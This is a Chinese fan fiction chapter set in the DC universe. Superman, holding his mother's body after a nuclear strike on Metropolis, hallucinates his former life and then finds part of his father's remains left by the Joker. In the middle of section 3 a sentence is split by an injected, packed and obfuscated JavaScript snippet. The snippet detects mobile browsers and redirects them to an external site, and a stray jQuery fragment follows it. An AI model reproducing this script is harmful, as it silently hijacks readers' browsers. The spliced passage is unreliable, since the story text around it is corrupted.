0


    “史蒂夫！！”


    在看到大都会被核爆的瞬间，终于赶到的戴安娜大脑顿时一片空白。


    她踉跄几步，从不屈服的脊梁差点弯折，让她差点摔倒在地。


    “戴安娜！！”


    戴安娜猛地抬起头，就看到超人一手抱着一个妇人，一手推着一架战斗机缓缓降落在地。


    史蒂夫正在飞机内着急担忧的看着她。


    “赫拉啊……”


    戴安娜双眼变得湿润，再也看不到其他，立马跑过去和史蒂夫拥抱在一起。


    “太好了，史蒂夫。太好了，你没出事……”


    戴安娜死死地抱住史蒂夫，不停地亲吻抚摸着对方。


    她眼里的泪水终于克制不住的流下，脸上却全是劫后余生的庆幸与喜悦。


    他们是那么的幸福，那么的兴奋，就像是上帝保佑了他们，就像是命运宽恕了他们。


    超人抱着自己母亲的尸体在旁边静静的看着。


    我在旁边静静的看着。


    1


    “戴安娜，是克拉克救了我。”


    史蒂夫来不及和戴安娜温存，他拍拍戴安娜的背，示意她往旁边看去。


    “谢谢你，克拉克。”


    戴安娜看向我，表情真挚地道谢，但随即她就注意到了我怀中那具残破的、鲜血淋漓的妇人尸体。


    “赫拉啊，这是——”


    戴安娜下意识往前走了几步，想要看看到底发生了什么。


    但我飞起来了。


    我后退了。


    我高高的漂浮在空中，面无表情的、居高临下的看着戴安娜。


    “……克拉克？”


    戴安娜表情僵硬一瞬，她深深地看着我，探究地打量了几秒，立刻意识到在我的身上肯定发生了什么很糟糕的事情。


    非常非常非常糟糕的事情。


    戴安娜的眼里流露出真切的悲伤和担忧。


    她看着自己的朋友，看着自己的家人。


    她看到了一个正在无声崩解的灵魂。


    她努力地放柔声音，舒展四肢，想要拼尽全力展现自己的无害和友善，希望能借此给自己的好友提供一点微末的帮助。


    “你还好吗？克拉克。我知道你现在很——克拉克？克拉克！！”


    戴安娜震惊地看着突然飞离的超人，她往前跑了几步下意识想要跟上，却被史蒂夫拉住胳膊。


    史蒂夫满脸严肃的看着戴安娜，“去找布鲁斯，戴安娜。现在真正能帮助他的只有布鲁斯了。”


    2


    我抱着玛莎的尸体来到大都会的上空。


    我的脸上依旧没有任何表情，美丽的蓝色眼睛就像是阴天下的海平面，没有一丝的光亮和波澜。


    深邃、平静、又死寂。


    我低头看着脚下的巨坑，看着这曾经被称为大都会的地方。


    但这里已经什么都没有了。


    动物植物，钢筋水泥，一切的一切都在刚才巨大的爆炸中化作虚无。


    我抱着玛莎的尸体缓缓落下，在半空中站定。


    明明是漂浮在半空，可我的状态，却像是踩在什么平坦的路面一样。


    我抬起头，世界开始在我的眼中重塑。


    超级大脑在这一刻终于发挥了作用，地面在我的脚下凝固，高楼在我的面前建起。


    鸟儿重新在空中飞行，猫咪打着哈欠从旁边路过。


    行人从我的身旁路过，过着一如过去几千个日夜里一样的日子。


    就像这只是个平凡的早晨一样。


    熟悉的早餐店老板送走最后一个客人，奇怪地看着我。


    ‘克拉克，都这个点了，你怎么还站在这里？再不出发上班就要迟到了！’


    他动作流利地装好几块三明治。


    ‘快拿着！要是来不及，等你下班回来了再给钱！’


    我静静的看着他。


    ‘嗯？’


    早餐店老板奇怪地看着我，他没有注意到我身上的制服，没有注意到我拿下眼镜后与超人一模一样的外表。


    他只是奇怪为什么我不接过三明治，为什么我和‘过去’不一样。


    他的表情突然顿了顿，低头看向我的怀中。


    他看到了玛莎。


    ‘啊！这就是你妈妈吗？我记得你前几天说过你爸妈要来看你的。她这是怎么了？太累了睡着了？’


    早餐店老板想了想，又往塑料袋里放了几瓶牛奶，‘来，把这个拿上去喝！不要钱，就当我请你们的。’


    早餐店老板嘴角上扬，露出一个阳光灿烂的笑容。


    ‘欢迎来到大都会！’


    3


    我终于动了。


    我没有接过老板手中的塑料袋，当然我也无法接过。


    我只是抬头看向上方，抱着玛莎往楼上走去。


    我在无数虚影间穿梭，在只有我能看到的场景里行动。


    我抱着玛莎，平稳地、一步一步地朝楼上走去。


    一楼、两楼…五楼、六楼……


    要到了。


    “玛莎。”


    沙哑哽咽到难以入耳的声音响起，我停顿了一下，才接着道。


    “乔纳森在房间里等你。”


    “他很担心你。”


    “我现在带你去见他。”


    ……


    我站到了公寓门口，一阵狂风刮过，吹起了我的披风，吹乱了我的头发，吹开了这扇房门。


    ‘玛莎，克拉克！’


    乔纳森还保持着站在窗前的姿势，在听到门响的瞬间，却立刻回过头，脸上露出兴奋激动的表情。


    ‘太好了，你们都没出事！’


    他朝我们跑来，伸出手想要拥抱我们。


    我静静的看着他。


    我问道。


    “你是谁。”


    乔纳森的虚影瞬间定住，保持着可笑的姿势和表情僵硬在半空。


    我微微歪了歪头，平淡无波的双眼静静的观察一番，通过细节确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865612|183332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    定这的确就是乔纳森的身体。


    最后我看向他的眼睛，看向那个晃动的虚影。


    “原来你在这里，乔纳森。”


    我喃喃道。


    我看着这个操控着乔纳森的东西。


    “那它又是什么？”


    魔法侧，精神系？


    “算了，无所谓了。”


    反正只要知道这一切都是小丑做的就行，那么……


    我低头看向脚下。


    好不容易构建而成的景色又开始分解、坍塌，最后彻底地消失。


    我在现实世界坠落，直到落到坑底。


    “小丑，你还会留给我什么。”


    我站在巨大的坑底，踩到了这由无数熟悉的事物所凝成的粉末之上。


    我打量着四周，突然看到一截手指。


    一截干枯、焦黑的手指。


    这只手大半都深入地底，被层层的泥土石块埋住，只有一根食指的指尖露在外面。


    我死死地盯着那一点焦黑。


    我知道那是谁。


    我当然知道那是谁。


    小丑——


    小丑。


    我不知道我应不应该为此感谢小丑。


    虽然我预料到了他还会留下些东西来刺激我的神经，但我没想到他竟然会想办法保留下乔纳森的遗体。


    我像是具尸体一般站在那里，几乎要和另外两具融为一体。


    过了一会儿，我终于动了，我朝着乔纳森走去。


    我低头看着乔纳森，但我不愿意放下玛莎。


    我就这么保持着抱着玛莎的样子，半蹲下来，以别扭的姿势开始挖地。


    我沿着那根手指开始往下挖掘，最后从地里挖出来一只焦黑枯瘦，半蜷缩起来的手掌。


    我静静的盯了半晌，突然伸手握住了它。


    白色与黑色，细腻与干枯，粗壮与纤细，活与死。


    我下意识用了点力。


    我本来只是想握住它的，但没想到下一瞬间对方就被我拉出了地面。


    枯瘦的手掌下是干枯的手臂以及空无一物的其他。


    4


    小丑的确保留下了乔纳森遗体，但——


    只有一部分。


    5


    我保持着高举手臂的姿势，死死地盯着手中的半截手臂。


    时间仿佛都已经停止，周围的一切都在离我远去。


    我看了许久，许久。


    非常突兀地，一股腥辣酸涩的液体从胃里涌出。


    下一瞬间，大都会的遗址里就失去了它守护者的身影。


    6


    大都会用尽自己最后的力量，眷恋地看了那个身影一眼。


    但祂无法做到更多了。


    他们也无法做到更多了。


    他们只能这么看着自己宠爱的、热爱的、敬爱的人——


    走向他悲惨的结局。


    7


    谁能来救救他？


    为什么没人来救救他？